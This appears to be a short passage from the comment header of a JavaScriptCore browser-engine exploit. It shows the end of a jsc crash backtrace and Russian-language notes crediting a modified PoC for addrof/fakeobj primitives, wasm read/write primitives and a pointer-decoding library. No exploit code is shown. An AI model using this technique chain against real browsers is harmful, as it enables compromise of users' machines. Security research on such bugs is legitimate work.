21 0x10a4fe9b6 int runJSC<jscmain(int, char**)::$_4>(CommandLine const&, bool, jscmain(int, char**)::$_4 const&)
22 0x10a4fadae jscmain(int, char**)
23 0x10a4fab6e main
24 0x7fff7624c3d5 start
Illegal instruction: 4
но эксплойт использует модифицированный PoC из [1] для addrof, fakeobj
потому что я не раскрываю все свои секреты =).
тогда для r/w мы используем примитивы wasm LinusHenze.
для декодирования указателей мы используем библиотеку saelo.
*/